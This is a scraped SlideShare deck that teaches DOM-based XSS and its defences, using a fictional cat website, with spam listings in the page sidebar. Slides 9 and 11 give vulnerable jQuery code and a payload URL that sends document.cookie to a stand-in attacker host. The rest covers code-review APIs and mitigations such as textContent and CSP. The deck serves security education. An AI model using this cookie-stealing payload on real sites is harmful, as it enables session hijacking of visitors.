SlideShare a Scribd company logo
1 of 22
Understanding DOM-BASED XSS
BY: JOHN PATRICK LITA
INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)
DOM-BASED XSS
 As JavaScript framework have gotten more sophisticated, many developers
are pushing logic to the client-side.
 Correspondingly, the importance of knowing how to protect against
vulnerabilities occurring in the browser have increased
DOM-BASED XSS
 Rich web application often use URI fragment – the pary of the URL after
the # sign.
 This proven a convenient method of the storing the users location within a
page in a way that keeps browser history readable, but does not cause
extra round trips to the server.
URI Fragments
 URI fragments are not sent with HTTP request, so they need to be
interpreted by client-side JavaScript.
 You should be careful that your treatment of URI fragment does not
permit the injection of malicious JavaScript.
 Let’s see how a site might be vulnerable to DOM-BASED XSS Attacks
GUI Explanation
www.churvanels.com#1
“This a dangerous cat.”
- Cat Fan
SEE ALL THE HACKER CATS YOU LOVE! #1
For Example
Website has
Infinite scroll
Content is loaded
In dynamically
As the page is
Scrolled down.
Notice how the URI
Fragment is used to
Track the scroll
location
GUI Explanation
www.churvanels.com#2
“I’m Busy hacking”
- Cat Fan Overload
SEE ALL THE HACKER CATS YOU LOVE! #2
For Example
Website has
Infinite scroll
Content is loaded
In dynamically
As the page is
Scrolled down.
Notice how the URI
Fragment is used to
Track the scroll
location
GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3
This dome so
That if a user
Navigates away
From the site, and
Then Presses the
Back Button, this
Site can reload their
Last location
Code View
$(document).onload(function(){
var page = window.location.hash;
loadPage(page);
$(“#page-no”).html(page);
});
Notice how the window.location.hash value is written into the DOM as
raw HTML – a major security hole
However, there Vulnerability
In the way the URI fragment
Is interpreted. The site updates
The page number directly from
The URI fragment, without
Checking the contents
GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3www.churvanels.com#<script>window.location="http://www.huncker.com?cookie="+document.cookie</script>
This means an
Attacker can
Construct a URL
With malicious
JavaScript in the
URI Fragment..
GUI Explanation
www.churvanels.com#3
“Hacker Cat your doin it
rite!”
- Cat Ninja
SEE ALL THE HACKER CATS YOU LOVE! #3
And when
Somebody is tricked
Into visiting that
URL, the JavaScript
Will be executed in
Their browser
GUI Explanation
huncker.com?cookie=asFFEfadn3243sadkkkiilo56l45j56nklj2
And when
Somebody is tricked
Into visiting that
URL, the JavaScript
Will be executed in
Their browser
Check for DOM-Based Attack
 Perform a brief code review of every piece of JavaScript received from the
application. Identify any XSS or Redirection vulnerabilities that can be
triggered by using a crafted URL to introduce malicious data into the DOM
of the relevant page. Include all standalone JavaScript files and scripts
contained within HTML pages (both static and dynamically generated)
Identifying APIs
 Identify all uses of the following APIs, which may be used to access DOM
data that can be controlled via crafted URL:
 document.location
 document.URL
 document.URLUnencoded
 document.referrer
 windows.location
Trace the relevant
 Trace the relevant data through the code to identify what actions are
performed with it. If the data (or a manipulated form of it) is passed to one
of the following APIs, the application may be vulnerable to XSS
 Document.write()
 Document.writeIn()
 Document.body.innerHTML
 Eval()
 Window.execScript()
 Window.setInterval()
 Window.setTimeout()
Pass the data
 If the data is passed to one of the following APIs, the application may be
vulnerable to a redirection attack.
 Document.location
 Document.URL
 Document.open()
 Windows.location.href
 Window.navigate()
 Window.open()
Remediation
HACKTHENORTH.ORG
DOM-BASED Attack!
 DOM-based XSS attack have all the risk associated with the other types of
XSS attack, with the added bonus that they are impossible to detect from
the server side. Any page that uses URI fragments is potentially at risk from
XSS attack
The Protection
Protecting Against DOM-based XSS attack is a matter of checking that your
JavaScript does not interpret URI fragment in an unsafe manner. There are
number of ways to ensure this
 Use a JavaScript Framework
 Framework like Ember, AngularJS and React use template that makes
contraction of ad-hoc HTML an explicit (and rare) action. This will push your
development team toward best practices, and make unsafe operations easier to
detect
The Protection
 Audit Your Code Carefully
 Sometimes a full JavaScript framework is too heavyweight for your site. In that
case, you will need to regularly conduct a code review to spot locations that
reference window.location.hash.
 If you are using direct the native DOM APIs, avoid using the following
properties and functions:
 InnerHTML
 outerHTML
 Document.write
 Instead, set text content within tags whenever possible:
 innerText
 textContent
Who is JSON?
 Parse JSON Carefully
 Do not evaluate JSON to convert it to native JavaScript – for example, by using
the eval(….) function instead use JSON.parse(…..)
 Don’t use URI Fragment At All!
 The most secure code is the code that isn’t there. If you don’t need to use URI
fragments, then don’t! Write a unit test to scan your JavaScript for mentions of
window.location.has, and have it fail it the pattern is found. When there is a
need to use URI fragments, then you can dicuss how to ensure their sage use.
Implementing CSP
Content-Security Policy
 Modern browser supports Content-Security Policies that allow the author
of a web-page to control where JavaScript (and other resources) can be
loaded and executed from. XSS attacks rely on the attacker being able to
run malicious scripts on a user’s web page – either by injection inline
<script> tags somewhere within the <html> tag of a page, or by tricking
the browser into loading the JavaScript from a malicious Third-Party
domain.
END THE SLIDE!
BY: JOHN PATRICK LITA
INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)
References:
Hackplaining and OWASP Foundation

More Related Content

What's hot

What's hot (20)

Understanding CSRF
Understanding CSRFUnderstanding CSRF
Understanding CSRF
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Xss
XssXss
Xss
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
XSS Injection Vulnerabilities
XSS Injection VulnerabilitiesXSS Injection Vulnerabilities
XSS Injection Vulnerabilities
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
XSS
XSSXSS
XSS
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 

Viewers also liked

Cyber Security - ICCT Colleges
Cyber Security - ICCT CollegesCyber Security - ICCT Colleges
Cyber Security - ICCT Colleges
Potato
 
IOT Security - ICCT College of Engineering
IOT Security - ICCT College of EngineeringIOT Security - ICCT College of Engineering
IOT Security - ICCT College of Engineering
Potato
 
Bab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personalBab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personal
Agung Sakepris
 

Viewers also liked (20)

Cyber Security - ICCT Colleges
Cyber Security - ICCT CollegesCyber Security - ICCT Colleges
Cyber Security - ICCT Colleges
 
Understanding sql Injection
Understanding sql InjectionUnderstanding sql Injection
Understanding sql Injection
 
IOT Security - ICCT College of Engineering
IOT Security - ICCT College of EngineeringIOT Security - ICCT College of Engineering
IOT Security - ICCT College of Engineering
 
Web appsec and it’s 10 best SDLC practices
Web appsec and it’s 10 best SDLC practicesWeb appsec and it’s 10 best SDLC practices
Web appsec and it’s 10 best SDLC practices
 
Bab2 merakit merawat dan_memperbaiki_komputer_personal
Bab2 merakit merawat dan_memperbaiki_komputer_personalBab2 merakit merawat dan_memperbaiki_komputer_personal
Bab2 merakit merawat dan_memperbaiki_komputer_personal
 
Marco,cabrera;proyectos;primer,parcial
Marco,cabrera;proyectos;primer,parcialMarco,cabrera;proyectos;primer,parcial
Marco,cabrera;proyectos;primer,parcial
 
Optimisasi
OptimisasiOptimisasi
Optimisasi
 
MGT101 - Financial Accounting- Lecture 42
MGT101 - Financial Accounting- Lecture 42MGT101 - Financial Accounting- Lecture 42
MGT101 - Financial Accounting- Lecture 42
 
Tugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTTugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMT
 
Fibonacci
FibonacciFibonacci
Fibonacci
 
Web 2ggg
Web 2gggWeb 2ggg
Web 2ggg
 
Fabsdeal offer- Buy jockey bra and brief online @offer price
Fabsdeal offer- Buy jockey bra and brief online @offer priceFabsdeal offer- Buy jockey bra and brief online @offer price
Fabsdeal offer- Buy jockey bra and brief online @offer price
 
Age of exploration
Age of explorationAge of exploration
Age of exploration
 
3months
3months3months
3months
 
metode numerik stepest descent dengan rerata aritmatika
metode numerik stepest descent dengan rerata aritmatikametode numerik stepest descent dengan rerata aritmatika
metode numerik stepest descent dengan rerata aritmatika
 
Newton
NewtonNewton
Newton
 
Ayurveda for fall health
Ayurveda for fall healthAyurveda for fall health
Ayurveda for fall health
 
Bab7 os jaringan tui
Bab7 os jaringan tuiBab7 os jaringan tui
Bab7 os jaringan tui
 
Bab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personalBab1 dasar dasar komputer personal
Bab1 dasar dasar komputer personal
 
Tugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMTTugas Metode Numerik Pendidikan Matematika UMT
Tugas Metode Numerik Pendidikan Matematika UMT
 

Similar to Understanding dom based xss

xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
yashvirsingh48
 
logout.php Session Data after Logout Username Email . $_.docx
logout.php Session Data after Logout  Username  Email  . $_.docxlogout.php Session Data after Logout  Username  Email  . $_.docx
logout.php Session Data after Logout Username Email . $_.docx
smile790243
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Shreeraj Shah
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 

Similar to Understanding dom based xss (20)

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
logout.php Session Data after Logout Username Email . $_.docx
logout.php Session Data after Logout  Username  Email  . $_.docxlogout.php Session Data after Logout  Username  Email  . $_.docx
logout.php Session Data after Logout Username Email . $_.docx
 
Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )Website hacking and prevention (All Tools,Topics & Technique )
Website hacking and prevention (All Tools,Topics & Technique )
 
.NET Security Topics
.NET Security Topics.NET Security Topics
.NET Security Topics
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
XSS.pdf
XSS.pdfXSS.pdf
XSS.pdf
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdf
 
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web ServicesWeb 2.0 Application Kung-Fu - Securing Ajax & Web Services
Web 2.0 Application Kung-Fu - Securing Ajax & Web Services
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Pantallas escaneo Sitio Web
Pantallas escaneo Sitio WebPantallas escaneo Sitio Web
Pantallas escaneo Sitio Web
 
Web Browser Basics, Tips & Tricks Draft 17
Web Browser Basics, Tips & Tricks Draft 17Web Browser Basics, Tips & Tricks Draft 17
Web Browser Basics, Tips & Tricks Draft 17
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilities
 
JSFoo Chennai 2012
JSFoo Chennai 2012JSFoo Chennai 2012
JSFoo Chennai 2012
 
Content Security Policy - PHPUGFFM
Content Security Policy - PHPUGFFMContent Security Policy - PHPUGFFM
Content Security Policy - PHPUGFFM
 
Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)Cross Site Scripting: Prevention and Detection(XSS)
Cross Site Scripting: Prevention and Detection(XSS)
 

Recently uploaded

Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...
Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...
Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...
Medical / Health Care (+971588192166) Mifepristone and Misoprostol tablets 200mg
 
%+27788225528 love spells in Knoxville Psychic Readings, Attraction spells,Br...
%+27788225528 love spells in Knoxville Psychic Readings, Attraction spells,Br...%+27788225528 love spells in Knoxville Psychic Readings, Attraction spells,Br...
%+27788225528 love spells in Knoxville Psychic Readings, Attraction spells,Br...
masabamasaba
 
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
masabamasaba
 

Recently uploaded (20)

Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...
Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...
Abortion Pills In Pretoria ](+27832195400*)[ 🏥 Women's Abortion Clinic In Pre...
 
WSO2Con2024 - GitOps in Action: Navigating Application Deployment in the Plat...
WSO2Con2024 - GitOps in Action: Navigating Application Deployment in the Plat...WSO2Con2024 - GitOps in Action: Navigating Application Deployment in the Plat...
WSO2Con2024 - GitOps in Action: Navigating Application Deployment in the Plat...
 
WSO2CON2024 - It's time to go Platformless
WSO2CON2024 - It's time to go PlatformlessWSO2CON2024 - It's time to go Platformless
WSO2CON2024 - It's time to go Platformless
 
WSO2CON 2024 - How to Run a Security Program
WSO2CON 2024 - How to Run a Security ProgramWSO2CON 2024 - How to Run a Security Program
WSO2CON 2024 - How to Run a Security Program
 
WSO2CON 2024 - Navigating API Complexity: REST, GraphQL, gRPC, Websocket, Web...
WSO2CON 2024 - Navigating API Complexity: REST, GraphQL, gRPC, Websocket, Web...WSO2CON 2024 - Navigating API Complexity: REST, GraphQL, gRPC, Websocket, Web...
WSO2CON 2024 - Navigating API Complexity: REST, GraphQL, gRPC, Websocket, Web...
 
%in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park %in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park
 
%+27788225528 love spells in Knoxville Psychic Readings, Attraction spells,Br...
%+27788225528 love spells in Knoxville Psychic Readings, Attraction spells,Br...%+27788225528 love spells in Knoxville Psychic Readings, Attraction spells,Br...
%+27788225528 love spells in Knoxville Psychic Readings, Attraction spells,Br...
 
BUS PASS MANGEMENT SYSTEM USING PHP.pptx
BUS PASS MANGEMENT SYSTEM USING PHP.pptxBUS PASS MANGEMENT SYSTEM USING PHP.pptx
BUS PASS MANGEMENT SYSTEM USING PHP.pptx
 
Artyushina_Guest lecture_YorkU CS May 2024.pptx
Artyushina_Guest lecture_YorkU CS May 2024.pptxArtyushina_Guest lecture_YorkU CS May 2024.pptx
Artyushina_Guest lecture_YorkU CS May 2024.pptx
 
WSO2Con2024 - From Blueprint to Brilliance: WSO2's Guide to API-First Enginee...
WSO2Con2024 - From Blueprint to Brilliance: WSO2's Guide to API-First Enginee...WSO2Con2024 - From Blueprint to Brilliance: WSO2's Guide to API-First Enginee...
WSO2Con2024 - From Blueprint to Brilliance: WSO2's Guide to API-First Enginee...
 
%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrand%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrand
 
VTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learnVTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learn
 
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
WSO2CON 2024 - Cloud Native Middleware: Domain-Driven Design, Cell-Based Arch...
 
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
Devoxx UK 2024 - Going serverless with Quarkus, GraalVM native images and AWS...
 
WSO2CON 2024 - API Management Usage at La Poste and Its Impact on Business an...
WSO2CON 2024 - API Management Usage at La Poste and Its Impact on Business an...WSO2CON 2024 - API Management Usage at La Poste and Its Impact on Business an...
WSO2CON 2024 - API Management Usage at La Poste and Its Impact on Business an...
 
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
 
Announcing Codolex 2.0 from GDK Software
Announcing Codolex 2.0 from GDK SoftwareAnnouncing Codolex 2.0 from GDK Software
Announcing Codolex 2.0 from GDK Software
 
WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...
WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...
WSO2CON 2024 - Building the API First Enterprise – Running an API Program, fr...
 
%in Soweto+277-882-255-28 abortion pills for sale in soweto
%in Soweto+277-882-255-28 abortion pills for sale in soweto%in Soweto+277-882-255-28 abortion pills for sale in soweto
%in Soweto+277-882-255-28 abortion pills for sale in soweto
 
%in Benoni+277-882-255-28 abortion pills for sale in Benoni
%in Benoni+277-882-255-28 abortion pills for sale in Benoni%in Benoni+277-882-255-28 abortion pills for sale in Benoni
%in Benoni+277-882-255-28 abortion pills for sale in Benoni
 

Understanding dom based xss

  • 1. Understanding DOM-BASED XSS BY: JOHN PATRICK LITA INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM)
  • 2. DOM-BASED XSS  As JavaScript framework have gotten more sophisticated, many developers are pushing logic to the client-side.  Correspondingly, the importance of knowing how to protect against vulnerabilities occurring in the browser have increased
  • 3. DOM-BASED XSS  Rich web application often use URI fragment – the pary of the URL after the # sign.  This proven a convenient method of the storing the users location within a page in a way that keeps browser history readable, but does not cause extra round trips to the server.
  • 4. URI Fragments  URI fragments are not sent with HTTP request, so they need to be interpreted by client-side JavaScript.  You should be careful that your treatment of URI fragment does not permit the injection of malicious JavaScript.  Let’s see how a site might be vulnerable to DOM-BASED XSS Attacks
  • 5. GUI Explanation www.churvanels.com#1 “This a dangerous cat.” - Cat Fan SEE ALL THE HACKER CATS YOU LOVE! #1 For Example Website has Infinite scroll Content is loaded In dynamically As the page is Scrolled down. Notice how the URI Fragment is used to Track the scroll location
  • 6. GUI Explanation www.churvanels.com#2 “I’m Busy hacking” - Cat Fan Overload SEE ALL THE HACKER CATS YOU LOVE! #2 For Example Website has Infinite scroll Content is loaded In dynamically As the page is Scrolled down. Notice how the URI Fragment is used to Track the scroll location
  • 7. GUI Explanation www.churvanels.com#3 “Hacker Cat your doin it rite!” - Cat Ninja SEE ALL THE HACKER CATS YOU LOVE! #3 This dome so That if a user Navigates away From the site, and Then Presses the Back Button, this Site can reload their Last location
  • 8. Code View $(document).onload(function(){ var page = window.location.hash; loadPage(page); $(“#page-no”).html(page); }); Notice how the window.location.hash value is written into the DOM as raw HTML – a major security hole However, there Vulnerability In the way the URI fragment Is interpreted. The site updates The page number directly from The URI fragment, without Checking the contents
  • 9. GUI Explanation www.churvanels.com#3 “Hacker Cat your doin it rite!” - Cat Ninja SEE ALL THE HACKER CATS YOU LOVE! #3www.churvanels.com#<script>window.location="http://www.huncker.com?cookie="+document.cookie</script> This means an Attacker can Construct a URL With malicious JavaScript in the URI Fragment..
  • 10. GUI Explanation www.churvanels.com#3 “Hacker Cat your doin it rite!” - Cat Ninja SEE ALL THE HACKER CATS YOU LOVE! #3 And when Somebody is tricked Into visiting that URL, the JavaScript Will be executed in Their browser
  • 11. GUI Explanation huncker.com?cookie=asFFEfadn3243sadkkkiilo56l45j56nklj2 And when Somebody is tricked Into visiting that URL, the JavaScript Will be executed in Their browser
  • 12. Check for DOM-Based Attack  Perform a brief code review of every piece of JavaScript received from the application. Identify any XSS or Redirection vulnerabilities that can be triggered by using a crafted URL to introduce malicious data into the DOM of the relevant page. Include all standalone JavaScript files and scripts contained within HTML pages (both static and dynamically generated)
  • 13. Identifying APIs  Identify all uses of the following APIs, which may be used to access DOM data that can be controlled via crafted URL:  document.location  document.URL  document.URLUnencoded  document.referrer  windows.location
  • 14. Trace the relevant  Trace the relevant data through the code to identify what actions are performed with it. If the data (or a manipulated form of it) is passed to one of the following APIs, the application may be vulnerable to XSS  Document.write()  Document.writeIn()  Document.body.innerHTML  Eval()  Window.execScript()  Window.setInterval()  Window.setTimeout()
  • 15. Pass the data  If the data is passed to one of the following APIs, the application may be vulnerable to a redirection attack.  Document.location  Document.URL  Document.open()  Windows.location.href  Window.navigate()  Window.open()
  • 17. DOM-BASED Attack!  DOM-based XSS attack have all the risk associated with the other types of XSS attack, with the added bonus that they are impossible to detect from the server side. Any page that uses URI fragments is potentially at risk from XSS attack
  • 18. The Protection Protecting Against DOM-based XSS attack is a matter of checking that your JavaScript does not interpret URI fragment in an unsafe manner. There are number of ways to ensure this  Use a JavaScript Framework  Framework like Ember, AngularJS and React use template that makes contraction of ad-hoc HTML an explicit (and rare) action. This will push your development team toward best practices, and make unsafe operations easier to detect
  • 19. The Protection  Audit Your Code Carefully  Sometimes a full JavaScript framework is too heavyweight for your site. In that case, you will need to regularly conduct a code review to spot locations that reference window.location.hash.  If you are using direct the native DOM APIs, avoid using the following properties and functions:  InnerHTML  outerHTML  Document.write  Instead, set text content within tags whenever possible:  innerText  textContent
  • 20. Who is JSON?  Parse JSON Carefully  Do not evaluate JSON to convert it to native JavaScript – for example, by using the eval(….) function instead use JSON.parse(…..)  Don’t use URI Fragment At All!  The most secure code is the code that isn’t there. If you don’t need to use URI fragments, then don’t! Write a unit test to scan your JavaScript for mentions of window.location.has, and have it fail it the pattern is found. When there is a need to use URI fragments, then you can dicuss how to ensure their sage use.
  • 21. Implementing CSP Content-Security Policy  Modern browser supports Content-Security Policies that allow the author of a web-page to control where JavaScript (and other resources) can be loaded and executed from. XSS attacks rely on the attacker being able to run malicious scripts on a user’s web page – either by injection inline <script> tags somewhere within the <html> tag of a page, or by tricking the browser into loading the JavaScript from a malicious Third-Party domain.
  • 22. END THE SLIDE! BY: JOHN PATRICK LITA INFORMATION SECURITY CONSULTANT – GLOBE TELECOM (ISDP/VM) References: Hackplaining and OWASP Foundation